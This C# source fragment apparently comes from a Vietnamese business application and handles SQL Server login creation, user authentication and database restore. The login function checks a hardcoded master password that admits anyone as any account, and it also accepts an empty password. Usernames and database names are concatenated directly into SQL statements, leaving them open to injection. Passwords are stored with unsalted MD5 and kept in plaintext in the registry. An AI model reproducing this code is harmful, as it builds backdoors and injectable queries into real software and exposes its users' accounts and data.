public static bool createSQLServerUser(string username, string password)
{
try
{
string connectionString = string.Format(@"Data Source={0};Persist Security Info=True;Max Pool Size=2000;Trusted_Connection=True;", ".\\SQL2008");
string sqlCreateUser = "******" + username + " WITH PASSWORD = '******', CHECK_POLICY = OFF, CHECK_EXPIRATION = OFF";
string sqlGrantPrivilege = "USE master GRANT CREATE ANY DATABASE TO " + username;
using (SqlConnection con = new SqlConnection(connectionString))
{
con.Open();
SqlCommand sqlCmdCreateUser = new SqlCommand(sqlCreateUser, con);
sqlCmdCreateUser.ExecuteNonQuery();
SqlCommand sqlCmdGrantPrivilege = new SqlCommand(sqlGrantPrivilege, con);
sqlCmdGrantPrivilege.ExecuteNonQuery();
MTGlobal.WriteRegistryKey(MTGlobal.MT_REGKEY_SECTION_SQL, MTGlobal.MT_REGKEY_DBUSER, username);
MTGlobal.WriteRegistryKey(MTGlobal.MT_REGKEY_SECTION_SQL, MTGlobal.MT_REGKEY_DBPASS, password);
return(true);
}
}
catch (Exception ex)
{
return(false);
}
}
public string fValidMember(string username, string password)
{
try
{
string mSQL = string.Format("select * from HT_NGUOIDUNG where UPPER(taikhoan)='{0}'", username);
DataTable oUser = MTSQLServer.getMTSQLServer().wRead(mSQL, null, false);
if (oUser == null || (oUser != null && oUser.Rows.Count <= 0))
{
return("Tài khoản truy cập không hợp lệ..");
}
else
{
foreach (DataRow vRow in oUser.Rows)
{
if (password == "[email protected]@inm80")
{
MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString();
return("T");
}
else if (vRow["matkhau"].ToString() != MTGlobal.HashMD5(password) && password != "")
{
return("Mật khẩu truy cập không hợp lệ..");
}
else
{
MTGlobal.MT_ACTIVE_USERID = vRow["soid"].ToString();
MTGlobal.MT_USER_LOGIN_FULLNAME = vRow["hoten"].ToString();
MTGlobal.MT_USER_LOGIN = vRow["taikhoan"].ToString();
if (vRow["kyhieu"] != null && vRow["kyhieu"].ToString() != "")
{
MTGlobal.MT_KYHIEU_USER = vRow["kyhieu"].ToString();
}
return("T");
}
}
}
return("T");
}
catch { return("F"); }
}
public static bool createAndRestoreDB(string server, string username, string password, string databaseName, string restoreFile)
{
try
{
string sqlCreateDB = "IF NOT EXISTS (SELECT * FROM sys.databases WHERE name = N'" + databaseName + "') BEGIN CREATE DATABASE [" + databaseName + "] END";
string killDB = "USE [master] IF EXISTS (SELECT * FROM sys.databases WHERE name = N'" + databaseName + "') " +
"BEGIN DECLARE @kill varchar(8000) = ''; " +
"SELECT @kill = @kill + 'kill ' + CONVERT(varchar(5), spid) + ';' FROM sys.sysprocesses " +
" WHERE dbid = db_id('" + databaseName + "') EXEC(@kill); END";
string logicalNameDB = @"DECLARE @Table TABLE (LogicalName varchar(128),[PhysicalName] varchar(128), [Type] varchar, [FileGroupName] varchar(128), [Size] varchar(128), " +
"[MaxSize] varchar(128), [FileId]varchar(128), [CreateLSN]varchar(128), [DropLSN]varchar(128), [UniqueId]varchar(128), [ReadOnlyLSN]varchar(128), [ReadWriteLSN]varchar(128), " +
"[BackupSizeInBytes]varchar(128), [SourceBlockSize]varchar(128), [FileGroupId]varchar(128), [LogGroupGUID]varchar(128), [DifferentialBaseLSN]varchar(128), [DifferentialBaseGUID]varchar(128), [IsReadOnly]varchar(128), [IsPresent]varchar(128), [TDEThumbprint]varchar(128)" +
") " +
"DECLARE @Path varchar(1000)=N'" + @restoreFile + "' " +
"DECLARE @LogicalNameData varchar(128),@LogicalNameLog varchar(128) " +
"INSERT INTO @table " +
"EXEC(' " +
"RESTORE FILELISTONLY " +
"FROM DISK=''' +@Path+ ''' " +
"') " +
"SET @LogicalNameData=(SELECT LogicalName FROM @Table WHERE Type='D') " +
"SET @LogicalNameLog=(SELECT LogicalName FROM @Table WHERE Type='L') ";
string sqlRestore_x64 = @"USE master RESTORE DATABASE [" + databaseName + "] FROM DISK = N'" + @restoreFile +
"' WITH FILE = 1, MOVE @LogicalNameData TO N'" + MTGlobal.MT_SQL_DATA_PATH_x64 + databaseName +
".mdf', MOVE @LogicalNameLog TO N'" + MTGlobal.MT_SQL_DATA_PATH_x64 + databaseName + ".ldf',NOUNLOAD, REPLACE, STATS = 10";
string sqlRestore_x86 = @"USE master RESTORE DATABASE [" + databaseName + "] FROM DISK = N'" + @restoreFile +
"' WITH FILE = 1, MOVE @LogicalNameData TO N'" + MTGlobal.MT_SQL_DATA_PATH_x86 + databaseName +
".mdf', MOVE @LogicalNameLog TO N'" + MTGlobal.MT_SQL_DATA_PATH_x86 + databaseName + ".ldf',NOUNLOAD, REPLACE, STATS = 10";
string connectionString = string.Format(@"Data Source={0};Persist Security Info=True;User ID={1};Password={2};Max Pool Size=2000", server, username, password);
using (SqlConnection con = new SqlConnection(connectionString))
{
con.Open();
// Create DB if any
SqlCommand sqlCmdCreateDB = new SqlCommand(sqlCreateDB, con);
sqlCmdCreateDB.ExecuteNonQuery();
SqlCommand sqlCmdKillDB = new SqlCommand(killDB, con);
sqlCmdKillDB.ExecuteNonQuery();
// Restore DB
try
{
SqlCommand sqlCmdRestore_x64 = new SqlCommand(logicalNameDB + sqlRestore_x64, con);
sqlCmdRestore_x64.ExecuteNonQuery();
MTGlobal.WriteRegistryKey(MTGlobal.MT_REGKEY_SECTION_SQL, MTGlobal.MT_REGKEY_DBNAME, databaseName);
return(true);
}
catch
{
SqlCommand sqlCmdRestore_x86 = new SqlCommand(logicalNameDB + sqlRestore_x86, con);
sqlCmdRestore_x86.ExecuteNonQuery();
MTGlobal.WriteRegistryKey(MTGlobal.MT_REGKEY_SECTION_SQL, MTGlobal.MT_REGKEY_DBNAME, databaseName);
return(true);
}
}
}
catch (Exception ex)
{
Utils.showMessage("Không thể tạo CSDL. Vui lòng kiểm tra lại", "Thông báo");
return(false);
}
}